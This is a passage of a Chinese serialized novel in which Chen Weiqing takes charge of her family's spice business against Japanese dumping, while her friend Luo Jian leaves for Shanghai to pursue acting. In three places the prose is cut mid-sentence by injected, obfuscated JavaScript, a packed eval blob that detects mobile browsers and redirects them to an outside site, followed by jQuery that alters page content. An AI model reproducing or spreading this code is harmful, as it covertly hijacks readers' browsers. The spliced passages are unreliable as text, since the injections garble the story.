陈仲云这时缓缓开口，声音如钟：“账盖的章，是你陈叔云的字。你还要狡辩？” 陈叔云脸色铁青，喉头动了动，却说不出一句。 王伯此时缓缓起身，低声却字字分明：“我提议——即刻中止与‘南昌隆’的一切合作。” 另一位老账房也起身：“我附议。” 一位管货的老先生站起：“蔚青小姐既能查出此事，应予权责——主持后续内务整顿。” “我附议。” “我附议。” 厅中一时间声音此起彼伏。 她静静站着，望向众人，声音清亮，毫无颤意：“我愿担此责。” 她顿了一下，望向叔父与堂兄：“也必须。” 31. 日落大道 陈宅内院的草早晨被水气洗过，绿得发亮。账房重新启封，陈蔚青站在窗前，看着屋里几个老账头正围着一张摊开的图纸讨论。 这是她接手后的第一项改革：废除“固定损耗”模板制度，所有货品入库需核实实重，并引入“双人覆核”与“突击抽检”制度。同时，她调回了几位曾被冷落的老账头，许叔和王伯等人也被正式重新启用。 她越来越忙碌了，她想起一年前父亲对沈时砚说：“Uneasyliestheheadthatwearsacrown.” 用中文来讲，就是“高处不胜寒”，她那时只是听听，没想到最后这句话没有落在沈时砚身上，而是落在了自己身上。 但她还是会忙里偷闲地与朋友们小聚，有时在街头的小店，有时在糖水铺，但更多的时候还是在纱厂那个锅炉房。 这天他们一行人正聚在后院的小亭子里乘凉，石桌上搁着几杯还未喝尽的凉茶，蝉声在树影之间断断续续地响着。傍晚的风从墙角穿进来，吹动亭角悬着的风铃，发出几声清脆的响响。 罗简坐在廊边，手里摊着一张才买来的报纸。那张纸张略显泛黄，纸角有些卷了，似乎是被拿在手上一直看，她一直盯着中间那张照片—— 照片里是一个穿淡金色旗袍的女子，站在上海某剧院的灯海中。她并未摆出那种惯常的“明星笑”，而是略微偏头，眉眼清冷，像一朵绽在风里的白蔷薇，反而让人移不开眼。 照片下方是一行标题：“《梦回梨园》热映，平民影后赵清茹三日三夜未眠，只为演好‘晴雯撕扇’一场戏。” 罗简像被什么绊住了一样，一动不动地盯着那张脸看了很久。 “她以前住在天津那边，一家人跟人借住棚户房。”她忽然开口，声音有点低，像在跟谁念一段不属于自己的过往，“她以前在天津唱的梅花大鼓，三毛一场。后来自己买了车票去了上海，一年唱戏，两年演戏，三年就成了电影里最当红的女角之一。” 她合上报纸，抬起头，眼神明亮得好似猛地撞上阳光。 “我想去上海。”她说。 亭中骤然一静。 那语气不是玩笑，也不是一时兴起的撒娇，而是那种藏不住的认真，好像有一颗冒着热气的石子落进井里，激起一圈圈回音。 “我不是胡说。”她坐直了身体，继续说，“你们知道吗？我看到报纸上对她的评价，说她以前唱大鼓的时候，唱到‘是墨是泪两不分明’那句的时候，眼睛都红了。但底下的人，就那么看着，连掌都不敢拍，像是怕吵了她。” “我想试一试。”她的声音更轻了些，却更稳，“不是非得变成她，可我不想一辈子…我不想有遗憾。” 沈时砚沉默了一会儿，抬起头笑了一下，笑容带着点风霜过后的暖意：“你去，我们支持你。” 蔚青放下茶杯，静静地望着她：“你不是一时冲动？” “不是。”罗简答得极快，语调轻得像羽毛，却毫无迟疑。 蔚青握住她的手，点点头。 这时，亭子里所有人的目光，不约而同地落向罗炽南。 他低头摆弄着手边的杯盖，那杯子已经空了很久，可他仍一圈圈地拨着，像在等一阵不会来的风。良久，他才低声说了一句：“你要走，就走吧。” 语气平平，没有反对，也没有祝福，如一扇被轻轻带上的门——没有响声，却隔绝了什么。 罗简望着他，张了张口，像是想说什么，终究没说。只是轻轻把报纸叠好，像收起一张通往远方的船票，放进了怀里。 夜深了。 永丰纱厂静得像沉入水底。只有旧锅炉房的窗纸被风吹得轻轻颤了两下，像是谁轻敲过夜的门。 罗简推开门，手里捏着一条纸带。 她脚步极轻，怕惊动这间屋子过去曾燃烧过的回音。空气中仍残留着香料混着铁器的气味，她打开门，那台机器还静静地立在原处，像一个守夜的巨人，沉默又坚定。 她走过去，拿起桌子上的打孔机，准备给写满问题的纸带打孔。 她看着第一个问题。 你觉得你是否有能力做成这件事？ 她手指顿住，眼前浮现的是赵清茹在银幕上含泪唱“晴雯撕扇”的那一幕。又想起黎婉芝还在南州时她们三人一同去看电影——“茜茜与皇冠”，电影结束后，她为她的两个朋友唱起电影里的那支歌，蔚青对她说：“跟电影里面一模一样”。黎婉芝伸手抱住她，对她说：“阿简，以后你一定要演电影。” “当然！你之前不是说了吗，你想演，而且你可以的！”她回想着，婉芝当时好像是这样说的，“那就够了。” 她轻轻咬牙，打孔：“是。” 你是否愿意为这件事放弃一切？ “是。”她几乎没犹豫。那是当然。 你要做的这件事，会被你的家人所接受吗？ 她想起炽南那低垂着眼、反复拨弄手上的杯子的样子，想起他的沉默。那沉默里，有太多她听不懂的东西。 “不是。”她打下了那个孔。 如果没有人理解你，你还会坚持下去吗？ “是。” 如果做这件事会让你伤害别人，你还会做吗？ 她的指尖顿住了。 “但是……不会伤害别人的。”她在心里对自己说。 “否。” 如果你失败了，你还会承认它是对的吗？ 她忽然笑了一下，声音很小，却真切。 “是。”至少她不会后悔。 如果你必须违背某些原则才能完成它，你会接受吗？ 她愣了一下。 什么是“原则”？是谁的“原则”？她不知道。 但她天真地选了：“是。” 你是否相信，这件事只能由你来做？ “是。” 如果这件事永远不会被承认，你还会去做吗？ 她深吸一口气，“是。” 你愿意为这件事隐瞒你真正的想法吗？ “是。” 纸带已经打满，她把它放进机器，机器开始缓缓读入，传动轴转动的声音像心跳一样一下一下响着。 几秒后，打字机“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608806|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哒”的一声，打出一句话。 只有两个字—— 去做。 那字还是印得有点歪，但每一笔都很实。 罗简看着那句话，怔了几秒，然后嘴角轻轻翘起来。 她小心地将纸条抽出来，叠成一寸宽的小方块，藏进衣服口袋里。 那不是一个答案，那是一封命运写给她的信。 她站起身，轻轻抚过机器的壳体，就像感谢一个无言的朋友。 走出锅炉房时，她回头望了一眼，夜色中，屋子静默如初，风吹动门槛下的一截纸角，仿佛还在回响那两个字。 去做。 翌日清晨，阳光穿过锅炉房斑驳的窗棂洒落一地，像是昨天夜里的那场“天光大梦”从未结束。陈蔚青、沈时砚和罗炽南又在锅炉房忙里偷闲。蔚青在跟朋友们抱怨着管理陈家生意遇到的麻烦事，又问沈时砚往北平的大学寄过去的信有没有回复，什么时候兑现要给罗炽南的位置。 这时罗简拎着包，突然跳进房间里，一脸神秘地对说：“你们昨晚在干嘛呀？我可是干了一件大事！” 她从口袋里掏出那张纸条，展开给大家看。纸上只印着两个字：去做。 “我昨晚去问了机器。”她语气轻快，像在说一场恶作剧，“它居然还真回我了。” 蔚青接过那张纸，怔了一瞬，低声问：“你问了什么？” “就是…很多问题。”罗简没有细说，但大家都知道，除了去上海的事，还能有什么，“但总归，答案是‘去做’。” 说着，她从包里拿出一张折得整整齐齐的船票，晃了晃：“我已经买好船票啦，上海的船，下周一早上开。反正……就去看看嘛。” 沈时砚严肃地盯着她：“你想清楚了？” “那当然！”她一屁股坐在木椅子上，晃着腿，“你们都在做你们觉得对的事情，我也想试试我自己的。” 她顿了顿，又看向他们三个，眼睛里有一点点亮亮的东西：“不过我会给你们写信的！要记得回我，不准谁装忙不回！” “还有，我要上报纸啦，说不定改天你们在南州的报亭就能看到‘从锅炉房走出的新星’，你们可得捧场啊！” 她说得很快，很轻松，嘴角上扬的弧度几乎和以前一样。但说到最后，她又低了低头，小声说了一句：“……也许，我这辈子就做这一次冒险的事了。” 蔚青走过去，轻轻抱了她一下：“你不是冒险，是出发。” 沈时砚拍拍她的头顶：“带上那张纸条，它说得没错。” 罗炽南一直没有说话，他叹了一口，又抬起头对罗简挤出一个笑，从口袋里掏出一包花生糖，递给她：“信要一周写一次，到了就把地址给我，我给你寄钱。” 她接过花生糖咬了一口，嘟囔着：“还是哥对我最好——但钱你还是留着吧。” 临走前她还回头看了一眼锅炉房，笑着朝他们挥手。 “我先去做准备啦，等你们来找我——别太久！” 阳光落在她发梢上，一闪一闪，这群人青春的某一个角，开始悄悄生出离开的光。 32. 方向 民国二十年十月，北方的天已转凉，而南州的雨季仍未止歇。陈宅后院的月季花被连日阴雨打得东倒西歪，泥地上满是花瓣残叶。陈蔚青站在窗前，看着水珠顺着檐角滑落，滴在石阶上，像是节奏凌乱的鼓点，敲在心头。 桌上摊着一摞报表，是这两个月香料铺的销售清单——空白多得惊人。 “日本人的东和商社香料大量倾销，价格压到市价三成以下，已经压得几家小行号关门。”王伯皱眉说道，声音不高，却重如石落，“若再不应对，我们年底可能连账面都撑不住。” “东和那边怎么说？”她低声问。 “今天上午，他们托人送了口信。”王伯将那封薄薄的信摊在她面前，“说可以合作——由他们统一定价，我们来做渠道分销。” 陈蔚青没有立刻说话，只盯着那信纸半晌。 那上面写得清清楚楚：“贵方若愿与东和商社通力合作，本社愿以稳定价格供货，且承担部分关税、运输事宜，唯贵方需确保不对外出售自家香品。定价、宣传及包装，皆由本社统一设定。” 她盯着那行“皆由本社统一设定”时，眼皮微跳了一下。 “这不是合作，”她轻声道，“这是投降。” 空气一时凝滞。 王伯低低叹了口气，没有接话。 屋外雨势未歇，门外忽然响起叩门声。 “小姐。”女佣阿凤推门探头，“刚收到一封信，是从上海来的。” 蔚青一愣，忙接过信——是罗简寄来的，是她去上海之后的第一封信。 信封微湿，纸张泛着潮气，一看便是路上经了好些波折。她小心拆开，展开信纸，罗简跳脱稚气的字迹映入眼帘： 蔚青姐： 我真的到了！是真的！ 你还记得我们一起看电影的时候我说的吗？我说“要是我能演哪怕一秒钟的那种角色就好了”——我现在在这里了，在上海，在那个他们都叫“冒出来就可能发光”的地方！ 现在我和六个姑娘住在法租界边上一条小街上，一起挤在一间小屋里，屋子不大，走路都要侧着身，但我睡在窗边，窗户打开的时候，可以听到街对面的留声机在放曲子。还有人在唱洋歌，我去问，唱歌的那人说这首歌叫“日升之屋”。楼下是一个卖糖炒栗子的摊贩，晚上睡前还能闻到香味。 我睡靠窗那张床。床头那堵墙有点花了，可一抬眼能看到一点点黄浦江的光。每天早上天还没亮我就醒了，看着那一小块水光一点点从灰白变成银色，我都觉得自己是做梦。 我每天都去剧组跑龙套。第一天我穿得不合适，被场务骂了，还摔了一跤，膝盖青了一大块。第二天紧张得把台词念错，导演让我站到最角落。可第三天，有个副导演跟我说：“你长得挺漂亮的。” 他说他记得我的名字。 我听到那句话的时候，心跳得像要跑出嗓子眼。我知道这也许什么都不代表，但我还是忍不住觉得……是不是我真的离那个“可以被看到的自己”近了一点点？ 我每天都很累。有时候连饭都顾不上吃，就在巷口买一碗三分钱的馄饨，一边走一边吃，吃到一半还得赶快跑过去候场。 但我不怕累。我在这里，好像每一步走出去，都是真的离梦想近了一点。 也许过几天我还得演死人，还得被人喊来喊去、穿别人的鞋、念别人的话，可我还是觉得开心。 有的时候，有人在街口晒衣服，阳光打在那些旧戏服上，风一吹，它们就像真的活起来了。那一刻我觉得——我也可以。 我不知道我会不会成功，也不知道是不是终究只是个梦。但我想试试看。 蔚青姐，我会一直写信给你们的，婉芝姐在法国，我不知道怎么往西洋寄信，如果你写信给她，记得一定要转告我的事。 你们要保重，还有，帮我照顾哥哥，如果有一天我的名字真的被印在银幕上，我一定先写信告诉你们。 罗简 民国二十年·上海 信读完时，已是傍晚。 天色压得低沉，像是要落雨，东风从窗缝灌进来，吹乱了桌上的香料账页，也吹皱了她本就不安的心绪。 桌灯未点，屋子里昏暗一片，只有那封信——那封带着少女笔迹与糯米浆味道的信纸，在阴影中亮得近乎柔和。 蔚青将信折好，放进抽屉，动作轻得像是怕惊扰了什么。 她坐了一会儿，盯着那抽屉出神。 这些天来，她一直陷在一团沉闷的漩涡里。 东和商社的货单一张张送来，香料库存像积水一样堆着不动，账本上的数字越来越难看，连那位素来支持她的王伯，近日说话都带上了几分含糊。 有人开始低声说，是不是要换条路；有人说，合作也未必不是条生路。 她压住一切情绪，日复一日地翻账、见人、试香料，每一件事都做得不差分毫，可就是觉得，心里有块地方，越来越像捂久了的湿布，发着闷气，又无处挥洒。 ——直到这封信。 那些夹杂着馄饨味、街巷风和落日光的字句，就像是从上海吹来的一阵风，把她心底那口蒙尘的井盖轻轻掀开了一点。 “她真的在走她自己想走的路啊……”她喃喃道。 这一刻，她忽然想找个人说话。 不是在账房，不是在货号，不是那些日常生活里需要小心翼翼分寸拿捏的地方。 而是一个可以安静坐下来、不用解释、不用防备的地方。 她拿上抽屉里的信，披上外套，拿起雨伞，脚步轻巧地穿过廊下，掠过微湿的青砖地面，越过一盏昏黄的光，在夜色中轻轻敲响了梁悯初的门。 她在门口等着，脚步声越来越近。上次站在这里，是什么时候了呢。她想不起来了。 “谁？”门内传来一声温和的询问，声音不高，带着惯有的沉静，像是从书页间飘出来的音节。 她顿了一下，说：“是我。” 门后沉默了一瞬，紧接着，“咔哒”一声，门开了一条缝。 梁悯初探出身来，一身居家的素灰布衣，眼神里带着刚从书页中抽离出来的微微惊讶。 “蔚青？”他声音很轻，仿佛怕惊扰了什么，“这么晚……出什么事了吗？” 她抬起手，举了举那封信，脸上浮起一丝勉强的笑：“罗简寄来第一封信，我觉得你应当想…知道…” 梁悯初怔了一下，随即微微点头，没有多问，只温和地侧身让出一条光影斜斜的路。 “进来吧。” 她走进去的时候，他顺手把门轻轻带上，动作一如既往地克制、安静。她顺着他指的方向往里走，进了他的书房，屋内灯光柔和，书桌上摊着一本翻开的小册子，墨迹未干，笔仍横在一旁的砚台上。整间屋子带着纸张、墨香与夜色混合的清冷气息。 她低声说了句：“打扰了。” 他回以一笑，眼神温润，仿佛从来没有将“打扰”两个字当真。 她在靠窗的木椅上坐下，手指还轻轻握着那封信，像是握着一只漂洋过海的小灯笼。 他没有追问她更多，只是温和地搬来书桌旁边的椅子坐到她对面，一如既往地等她先开口。 她忽然觉得，自己确实不是为了信来的。 她把信展开，递过去。 “你看看。”她说。 他接过，低头看起来。室内安静下来，只余下信纸微微翻动的声音。字迹些歪歪扭扭，像是写信的人太急、太紧张，又不愿让任何一个字模糊。 他原本温和的神色忽然轻微一变，眉眼之间一闪即逝地紧了紧。他低声念了一句什么，像是自言自语—— “日升之屋……” 陈蔚青抬起头：“什么？” 他仿佛一时没有反应，指尖却微不可察地紧了一下那张纸边。片刻后才抬头，语气平缓地摇了摇头：“不，没什么。” “可您刚刚……”她皱眉，“您脸色也不太好看。” 梁悯初顿了顿，似乎意识到自己露了神色，目光一转，轻声道：“我只是……突然想起一首民歌。” “就是她信里这首歌，在英美那边流传的，叫TheHouseoftheRisingSun。”他将信纸叠好，放在茶几上，语气轻描淡写，“歌词是有点荒唐的，不过曲子倒还好听。 说完，他便自然地转了话题：“你在担心她吗？” “担心……也有点羡慕吧。”她轻声说。 “这很像你。” “是啊。”她低声应着，“我羡慕她。她觉得一切都可以靠奔跑靠努力，觉得戏路总会打开，生活总会变得更大……可我这边，就像被罩在一个罩子里——” 她顿了顿，嗓音压得更低了，甚至有些颤抖，“最近家里生意根本走不动，日本的香料倾销，价格压得我们连运费都不够。股东开会，有人提议要不就跟‘东和’合作，把定价权交给他们，我们只负责分销。” 她喉咙发紧，“我真的……没想过要把母亲守了一辈子的东西，就这么低头送出去。” “你父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613674|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边呢？” “他说要听我的。”她声音低了些，“可我不知道我还能坚持多久。” 梁悯初安静地听完，沉吟了一会儿，缓缓开口：“我去年回香港的时候，看过一次港岛总督府。”他忽然扯出个看似无关的开头。 她一愣：“什么？” “嗯。”他慢吞吞地说，“开得最好的是栽在英国警署围栏里的杜鹃，水光油亮地一整排。围栏外的那几株就要憔悴得多了。” “你知道在那里，英国人和中国人共处一个岛，可学校是分开的，饭馆是分开的，花园、海滩、医院……什么都分开。”他慢慢地说，“他们说的‘一家亲’，你会永远觉得你是他们的‘客人’。” “但最可笑的是，他们也不把自己当主人。”他嘴角挂上了一抹苦涩的笑，“他们觉得自己背井离乡，来这里挣钱、挣面子，这里和他们一点关系都没有，挣了钱，就走了。” 他目光从她眼中掠过，轻声道：“没人把那里当作家。” “老师。”蔚青这样叫他，仿佛还是那个在书桌前听他讲课的学生，“你去过东北吗？听人说那里是满人居多的地方，汉人也有。” “满人和汉人争了那么多年，又来了个日本人。”梁悯初望着她，补全了她想说的话。 她顿了顿，眼神微微晃动，“一个人，站在那样的地方，到底要站在哪里呢？到底能站在哪里呢？” 屋内灯光不甚明亮，却照出她眼中一种快要被现实困住的焦躁。 “你想站哪儿？”他忽然问。 她怔住，看着他。 梁悯初微微一笑，仍是温和的口吻，却带着某种穿透人心的柔软坚定：“你想站哪儿，就站哪儿。” “不是陈家要你做什么，不是你母亲教你做什么，不是我、不是股东，是你自己——你站哪儿，陈家才往哪儿去。” 她望着他，有一瞬间像是说不出话来。 “你怎么可以……这么讲。”她低声。 “怎么讲？” “你们以前…总是告诉我要做什么，我必须做什么，我总是不想听。我现在……我现在想听听你们说话，你们一个两个的，都不说了…”她声音里有些哽咽。 她看着他，眼里像是盛了一盏夜灯。然后忽然有点不好意思，拿袖口擦了一下眼角，站起身来。 “我该走了。” “等等。”他忽然叫住她，从桌角抽出一封纸信，“这封信，是我的旧朋友从南京带来的一张资料单——关于东和商社的幕后持股方，或许你会想看一看。” 她接过那封信，沉默了几秒，忽然问：“你……早知道我会找你？” 他笑了笑，低声道：“不知道你什么时候来，但我知道你总会来。” 她朝老师举了个躬，像是下课了一样，然后她转身离开，听见身后的人的声音：“蔚青，所以我说……你长大了……” 夜色已深。陈蔚青撑着伞，一路从梁悯初的宅邸走到锅炉房，脚下青砖泛着水光，踩上去微微打滑，她却走得极稳，仿佛心中早已无惧跌宕。 锅炉房的门吱呀一声开了，屋内一如既往地昏暗潮湿，角落里的机器静静地躺着，像一头沉睡的兽，只有红色灯芯在缓缓闪烁。 她走进去，拉亮了墙角的油灯，光亮晃动间，照出墙上的工具、纸带、笔记，还有那一排排打孔器的齿轮。 她把手中的信封放在桌上，坐下来，摊开纸带，准备打孔。手却在触碰打孔笔时微微一顿。 她又低头，展开那张资料单——那是梁悯初最后递给她的东西，关于“东和商社”的幕后持股结构，笔迹整齐，资料详实，一行一行写着日本实业联盟在东南沿海多地的倾销布局。 她盯着那张纸，原本是想将这串问题逐一打入纸带，求那台机器告诉她“是”或“否”。 但她盯着那张资料单盯得太久，灯光在纸面上跳动，像是要把那一串串字句烙进她的眼里、心里。 忽然，她的手松开了。 她没有去拿打孔机，也没有拿起纸带。 她只是靠在椅背上，静静地看着那台机器。 过了一会儿，她将纸带收起，将机器轻轻擦拭干净，一点灰尘不留，然后——关了灯，转身离开。 她快步走在回家的路上，忽然笑了一下。 “我知道了。”她轻声说。 不是机器告诉她的，不是规则推导出来的，也不是谁替她指的方向。 是她自己。 地面还有点湿，但她走得很稳。 33. 陈皮鸭 屋内雨声被厚厚窗帘挡在外面，床头的铜灯投下昏黄光晕，如一小团迟迟不肯熄灭的余烛。 唐敬微靠在枕上，脸色苍白如纸，气息绵长。她醒着，却未睁眼。手中握着那条陪伴她多年的丝帕。 陈仲云坐在床边，眼神里没了平日的散漫，反而像一块慢慢被磨亮的老玉，沉着、沉默。陈蔚青站着，望着床上的母亲和床边的父亲，心头泛起一阵酸。 “这事……”他说着，嗓子低哑，没有看向任何人，不知道在跟谁说话，“你别掺和了。” “这种时候，就该男人出去应付。你们女儿家家的，凑什么热闹？” 他语气不重，却有种古旧的、被时代冲刷过的倔强。 陈蔚青一愣。 父亲从不说这种话。哪怕别人说她“不守规矩”，他说得最多的不过是“随她去吧”。他虽然不曾引以为傲，但也从未拦过。 她转头看母亲，却见那双病中干枯的手轻轻抬起，像是用了很大的力气才抚上父亲的脸。 陈仲云愣了一下，低头看她，眉眼忽然软了下去，像是一个迟迟不肯卸甲的旧兵，终于在某个瞬间低下头。 蔚青忽然明白了。 她愣了一下，声音几乎脱口而出：“……可是爸。” 父亲这番话，不是要管她，也不是要劝她，是在替她预备“退场的理由”。 他想代她赴那场与东和商社的谈判，想以家主、长辈、男人的身份——替她挡下世俗与政治的所有锋芒。 他想在风暴来临之前，用自己这个“看起来最不牢靠”的人，把她护在身后。 她喉咙发紧，张了张口，却不知道从哪里劝起。 “爸，我不怕。”她终于低声开口，像小时候把电话机拆了，站在书房门口低声认错一样。 “我也知道，谈不成会有后果。向日本人低头…更是…” 她直视他，眼神却从未这样坚定：“但如果我现在退了……以后他们就还是会说：‘她果然还是靠她爹’。” “我站出来，至少——他们得认我。” 陈仲云沉默着，他好像第一次真正地，看清了自己的女儿，更甚于股东大会上甩出证据那时——那个在母亲阴影下长大、曾经倔强又敏感的小女孩，已经站在他面前，一步步长成了另一个当家人。 他喉咙动了一下，似想开口，却终究只吐出一句：“你真要去？” 蔚青点头：“我得去。” “那你记着，”陈仲云语气很轻，像是回想起什么东西，“别人说什么你都别听，只要你妈还在，你就得像她一样——站得直，坐得稳。” 蔚青低声应着：“我记得。” 唐敬微这时忽然睁开眼，声音虚弱，却含着久未展露的笑意：“她说得对。” 她转头看向丈夫，“你忘啦？我当年接手时陈家的生意，外面都说‘女人能管什么生意’，结果呢？” 她笑着，像年轻时那样，语气里有一丝得意，也有一丝不舍：“结果他们都得听我的。” 陈仲云苦笑一声，轻轻扶住她的肩：“你别说话。” “你别拦她了。”唐敬微却紧紧握住他的手，“她走的这步路，不比我那年容易。” 陈蔚青站起身，朝父母深深鞠了一躬。她没有再多说一句话，怕一开口，就再也收不住眼泪。 她要走到门口时，母亲忽然又开口：“蔚青。” 她回头。 “王伯说，他觉着你和我很相似。”她笑了笑，笑声又弱又轻，“但我还是觉得，虽然你是我的女儿，但我们真是一点都不相似。” “妈！”蔚青猛地回过头，“这是什么…意思？” “你比我…强多了…” 蔚青愣住了，她没想到母亲会这样说，一时间不知道该怎么回答，应该像她曾经教过的礼数那样，谦虚地说“过誉了”，还是该像小时候一样骄傲的仰起头，然后扑进妈妈的怀里？ 她最后什么也没做，只是点点头，然后笑了一下，眼眶泛红。 “嗯。” 陈宅夜沉如水。 她从母亲的房间出来时，衣襟还带着一点檀香的气息，混着床头灯的暖色，在皮肤上停留了一段时间才散去。 雨已经停了，但地面仍潮，水珠从檐角滑落，打在青砖上，声音像极了她此刻的心跳：不快，却分外清晰。 她没有回房，而是直接穿过垂花门，推开了账房的后门。 王伯、季老、还有两个老账头已经等在那儿。桌上摊着厚厚一摞账本、旧年合作备忘、税率对比、进出口执照复印，还有几页泛黄的外文电报。油灯微晃，他们的影子都被拉得很长，像一群沉默的看守人，守着一场看不见的战役。 “我需要东和商社三年前在北港吞并‘林记行’的记录，还有陈家母亲在十六年前与英商‘罗兰兄弟’的那份合同副本。”她声音平静，听不出情绪，“越详细越好，明天我用得上。” 没人反对。 王伯只点了点头，转身从最上头的柜子里抽出一卷线装账册：“有备着。你娘那个时候每一笔谈下来的合约都叫我们备两份，一份账房，一份她自己藏在铜镜后头。”他说到这儿顿了一下，“后来你娘说，不是为了备查，是为了让你长大以后有得看。” 陈蔚青接过，指尖不动声色地颤了一下。 季老从另一本账里翻出一页单子：“这就是那年林记行卖身投靠，给了三成股权、换五年品牌缓期——到第五年，‘林’字还没改掉，整个字号已经没人认得了。” 他把纸啪地一摊：“就是这路数。若这次陈家真与东和合作，一年后，‘陈记’这个名，还在不在市面上……不好说。” 屋里一片静。 灯火在她眼里跳了跳，她忽然轻声道：“我记得小时候，母亲谈生意回来，总会让厨房做一道菜。” “陈皮鸭。”王伯接话，不等她说完。 她抬头看他。 “那年她跟英商罗兰兄弟打交道，初一上门谈，初九才定下条款。她一共吃了三次这道菜。”王伯低笑一声，“厨子已经做好了。” 几人移步到厨房，厨师见几人来，忙把那道陈皮鸭端上来。父亲也从楼上的卧室走了下来，坐到她身边。 酱香入骨，鸭皮酥而不焦——味道和记忆中几乎一模一样。 她坐在桌边没有说话，只有王伯、季老、和她的父亲同桌。没人说这是“送行”，却人人像在备一场征战。 席上无人多饮，连父亲都只小酌几杯——他以前常常喝多，但今夜，他也克制得像一个随时要走进战场的老兵。 吃到末了，王伯低声说了一句：“你母亲那年，跟英商说的第一句话是：‘我来，不是来听你们报价的。’” 陈蔚青放下筷，望向他，眼神明亮，像是灯火落入深井：“那我明天，也该先准备好一句开场白了。” 没人回话，但所有人都点了点头。 气氛沉，却不乱。 战前最后的夜，是静水深流。 雨下到半夜，窗棂上映着滴滴答答的水珠声。 陈蔚青在自己的卧室里，迟迟未入睡。耳边忽然响起一道急促却压抑着音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618780|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量的敲门声。 门外是阿凤，小声说：“小姐，电话——电话局那边刚接过来，说是洋人的电话打进来……找您。” 蔚青一愣，连忙起身：“找我？” “是，是洋人……但说得是中文，生意有些耳熟。”阿凤声音更低了，“电话在前厅，已经接上了。” 她匆匆下楼，风裹着湿气从窗户吹进来，带着晚雨未歇的气息。 前厅里灯光昏黄，老式电话安静地躺在案几上，线圈绳微微晃动。她走上前，拾起听筒，声音有些不确定地试探：“喂？” 那头沉默了一瞬，旋即传来一道熟悉又温润的声音，像从遥远的旧梦中浮出：“蔚青？是你吗？” 她怔了一下，呼吸像被什么拽住了，下一秒几乎脱口而出：“婉芝？！” “是我。”黎婉芝轻轻笑了，语气温柔却透着一丝紧张，“我花了三天才让国际电话局帮我接通，巴黎这边现在是上午，你听，还有车声。” “你疯了……”蔚青轻轻笑了，鼻腔却涩得发酸，“你怎么打得通的？不是说……欧洲电话拨不过来吗？” “能。”婉芝答得平静，“但要翻很多山，过很多海，找很多人。” 屋外风声呼啸，陈蔚青倚着桌沿，眼睛望着那盏旧灯的灯罩，声音也像被拉得很轻：“你那边好吗？” “也还好吧。”那头传来她坐下来的声音，“学校刚开学，我选了一门现代戏剧课，一门中世纪法语，还选了写作。每天走去校区要穿过一条街，早上会有烤面包的味道。” “听起来像童话。”蔚青低声说。 “其实也挺累的。”婉芝笑了一下，“我最近睡不好，梦里常梦见南州，梦见我们在中学的后门吃绿豆糕，还有……锅炉房。”她声音放轻了些，“阿简怎么样？” 蔚青一怔，低声道：“她的信我们收到了。她说她很好。” 婉芝没再追问，只低低地笑了声，带着一点点沙哑的夜意：“那就好。” 两人之间沉默了一小会儿。那边忽然传来钟声，隐约是教堂的整点钟响。 “蔚青，”婉芝忽然轻声说，“我听说了——日本人的东和香料商在南州做得很凶。有人写信给我，说陈家可能也要……加入分销。” “是。”蔚青闭了闭眼，声音低得几不可闻。 “你在撑着，对不对？” “我……”她声音微颤，低头看着自己揪紧的手指，“我不知道我还能撑多久。” “撑下去。”婉芝的语气忽然坚定，“你一定要撑下去。” “因为我知道你会撑下去。”黎婉芝像是按住了什么情绪，语调却如利刃划开夜雨，“你是我们中间最能做事的那一个。你是陈蔚青。” 陈蔚青怔住，良久没说话。 黎婉芝放轻声音：“你记得我们中学后门墙上刻的那行字吗？” “你说哪一行？” “铁肩担道义，辣手著文章。” 蔚青忽然笑了，眼眶却已泛红：“可我不会著文章。” “但你做到了前面的。” 那头忽然传来电话局催促的电铃声，打断了这通短暂却灼人的通话。 “我要挂了。”婉芝轻快地说，“还有人等着排队呢。” “婉芝。”蔚青终于开口，声音有点哑，“你还会再打过来吗？” “我不知道。”她笑着答，“但你放心，我会写信的。” “好。”蔚青低声道，“我会等你。” 电话断了，嘟的一声，像是小提琴的最后一根弦，被月色轻轻拨断。 34. 谈判 翌日清晨，天色尚未完全亮透，晨雾在陈宅庭院间缭绕，湿气沉沉，仿佛一层未褪的夜。 陈蔚青穿戴整齐，一身墨蓝色斜襟长褂，外披浅色风衣，鬓发贴颊，整个人沉静如水。她缓步走下楼梯，刚绕过廊柱，便听见侧门处传来低唤： “小姐。”是阿凤，“今早有人送来一封信，是从上海转来的。” 她脚步一顿，回头接过信。信封上贴着一角褪色的邮票，纸面泛着潮，边角被海风卷起的痕迹仍清晰可见。 她不需细看便能知道是谁—— 是罗简。 她在廊下站了一会儿，指尖轻捻信角，像是隔着几千里，握住那一双熟悉的、从码头一路走到舞台边的小手。 然后，她轻轻拆开信封，展开那一页略显凌乱却热烈的笔迹—— 蔚青姐： 